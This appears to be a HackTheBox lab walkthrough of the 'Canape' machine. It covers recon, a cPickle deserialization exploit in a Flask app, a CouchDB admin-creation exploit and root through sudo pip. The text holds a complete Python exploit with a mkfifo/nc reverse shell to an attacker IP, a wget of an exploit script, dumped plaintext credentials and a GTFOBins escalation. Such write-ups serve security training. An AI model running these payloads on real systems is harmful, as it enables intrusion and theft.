Canape
#Linux #PythonScript #Git #CouchDB #Sudo
This is a medium difficulty Linux machine from HackTheBox created by overcast. In this scenario, my IP is 10.10.14.36 and the target’s IP is 10.129.177.254
The use of a file (.git) with the default name, makes the site easy to find by using Nmap scripts, this machine requires a basic understanding of Python and Burpsuite to get the parameters.
Recon
This step is always the same, you must ping the machine to see if is alive, and then use Nmap to scan all the ports to avoid surprises.
$ ping -c 1 10.129.177.254
Pinging 10.129.177.254 with 32 bytes of data:
Reply from 10.129.177.254: bytes=32 time=175ms TTL=63
Reply from 10.129.177.254: bytes=32 time=158ms TTL=63
Reply from 10.129.177.254: bytes=32 time=186ms TTL=63
Reply from 10.129.177.254: bytes=32 time=164ms TTL=63
Ping statistics for 10.129.177.254:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 158ms, Maximum = 186ms, Average = 170ms
$ nmap -p- --open -sS --min-rate 5000 -vvv -n 10.129.177.254 -oN Ports
Nmap scan report for 10.129.177.254
Host is up, received echo-reply ttl 63 (0.40s latency).
Scanned at 2023-06-05 10:02:24 Pacific SA Standard Time for 28s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
65535/tcp open unknown syn-ack ttl 63
Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 28.88 seconds
Raw packets sent: 131089 (5.768MB) | Rcvd: 77 (3.372KB)
$ nmap -sCV -p 80,65535 10.129.177.254 -oN Target
Nmap scan report for 10.129.177.254
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git:
| 10.129.177.254:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Apache/2.4.18 (Ubuntu)
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
| 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
$ whatweb 10.129.177.254
http://10.129.177.254 [200 OK] Apache[2.4.18], Bootstrap, Country[RESERVED][ZZ],
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.177.254], JQuery,
Script, Title[Simpsons Fan Site]
Here we have valuable information, there is a .git and the port for SSH is different, once discovered makes no difference. Let's explore the website
Browser: http://10.129.177.254/.git/

Add both sites to etc host.
echo "10.129.177.254 canape.htb git.canape.htb" >> /etc/hosts
Browser: http://git.canape.htb/simpsons.git
Nothing here!
Browser: http://canape.htb

Hash: c8a74a098a60aaea1af98945bd707a7eab0ff4b0
$ wfuzz -c -f FuzzFile -t 200 --hc=404 --hw=1 --hh=3076 -w /shared/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.129.177.254/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.177.254/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000171: 200 81 L 167 W 2836 Ch "submit"
000000255: 301 9 L 28 W 317 Ch "static"
000000673: 200 85 L 227 W 3150 Ch "quotes"
000001314: 405 4 L 23 W 178 Ch "check"
000095510: 403 11 L 32 W 302 Ch "server-status"
The result when exploring each site:
/submit Submit page, it has some fillable text box.
/static JS & CSS
/quotes Quotes list page, nothing.
/check Method not accepted
/server-status Forbidden
Testing
Now, the only thing that we can do, is to test many payloads.
python3 -m http.server 80
Browser: http://10.129.177.254/submit
The character text box is restringed to a list of names, the Quote box is more flexible.

git clone http://git.canape.htb/simpsons.git
batcat __init__.py
import couchdb
import string
import random
import base64
import cPickle # Usually cPickle is vulnerable
from flask import Flask, render_template, request
from hashlib import md5
app = Flask(__name__)
app.config.update(
DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
# Aditional information: DB > http://localhost:5984/
@app.errorhandler(404)
def page_not_found(e):
if random.randrange(0, 2) > 0:
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
else:
return render_template("index.html")
@app.route("/")
def index():
return render_template("index.html")
R
@app.route("/quotes")
def quotes():
quotes = []
for id in db:
quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
return render_template('quotes.html', entries=quotes)
WHITELIST = [
"homer",
"marge",
"bart",
"lisa",
"maggie",
"moe",
"carl",
"krusty"
]
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
# It uses "MATCH", so something like asdasdHomerasdasd will work
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest() # ID = MD5 of char+quote
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
if __name__ == "__main__":
app.run()
Information captured:
It uses "MATCH", so something like "asdasdHomerasdasd" will work
ID = MD5 of char+quote
Reverse Shell [www-data]
cPickle is a dangerous library because it represent a python object in a string of bytes and viceversa.
vi exploit.py
#!/usr/bin/python2.7
#coding utf-8
import pickle
import sys
import os
import requests
import signal
import hashlib
def def_handler(sig,frame):
print("\n BREAK! \n")
sys.exit(1)
# CTRL + C
signal.signal(signal.SIGINT, def_handler)
class PickleRCE(object):
def __reduce__(self):
import os
return (os.system,('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.36 443 >/tmp/f; Homer',))
# URLs
submit_url = 'http://10.129.177.254/submit'
check_url = 'http://10.129.177.254/check'
def makeRequest():
character = pickle.dumps(PickleRCE())
quote = "Exploit"
post_data = {
'character' : character,
'quote' : quote
}
r = requests.post(submit_url, data=post_data)
md5_id = hashlib.md5(character + quote).hexdigest()
post_data = {
'id' : md5_id
}
r = requests.post(check_url, data=post_data)
if __name__ == '__main__':
makeRequest()
Open two terminals, one to execute the exploit and the other one to connect
$ nc -nlvp 443
python2.7 exploit.py
User Scalation [Homer]
Do a shell upgrade before continue.
At the git project we found a database.
$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
Couch 2.0.0, now that we have the version we can check at exploitdb.
Download the python script at your local machine and send it to the target.
# At the same folder of the file.
python3 -m http.server 80
$ cd /tmp/
$ wget http://10.10.14.36/44498.py
--2023-06-05 13:08:29-- http://10.10.14.36/44498.py
$ python 44498.py -p 5984 -u tartox -P tartox 127.0.0.1
[+] User to create: tartox
[+] Password: tartox
[+] Attacking host 127.0.0.1 on port 5984
[+] User tartox with password tartox successfully created.
Now we are going to explore inside the data base, there is a link about how to explore couchdb by using Curl.
$ curl http://tartox:tartox@localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
$ curl http://tartox:tartox@localhost:5984/_all_dbs
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
$ curl http://tartox:tartox@localhost:5984/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
Now we have to see the information to each id.
$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
If there are MAAANY users, you can use the following command:
curl -s http://tartox:tartox@localhost:5984/passwords/_all_docs | grep -oP '".*?"' | grep "73" | sort -u | tr -d '"'
739c5ebdf3f7a001bebb8fc4380019e4
739c5ebdf3f7a001bebb8fc43800368d
739c5ebdf3f7a001bebb8fc438003e5f
739c5ebdf3f7a001bebb8fc438004738
for id in $(curl -s http://tartox:tartox@localhost:5984/passwords/_all_docs | grep -oP '".*?"' | grep "73" | sort -u | tr -d '"'); do echo -e "\n [+] Testing: \n"; curl -s http://tartox:tartox@localhost:5984/passwords/$id; done
Thanks S4vitar for this class, soon I will do it by myself.
Now we know 4 users and 4 password to test, after trying, the correct one is:
$ su homer # password: 0B4jyA0xtytZi7esBNGp
$ cat /home/homer/user.txt
e3aeb9c50c15ff651284588bdcf14064
Privilege Scalation [Root]
Now we have to find a way to escalate.
$ id
uid=1000(homer) gid=1000(homer) groups=1000(homer)
$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User homer may run the following commands on canape:
(root) /usr/bin/pip install *
That was easy, at GTFOBins you can find the steps to scalate through pip.
homer@canape:/tmp$ TF=$(mktemp -d)
homer@canape:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
homer@canape:/tmp$ sudo pip install $TF
$ whoami
root
$ cat /root/root.txt
e7190a6848a7ab5fd61faecc46de1935
Last updated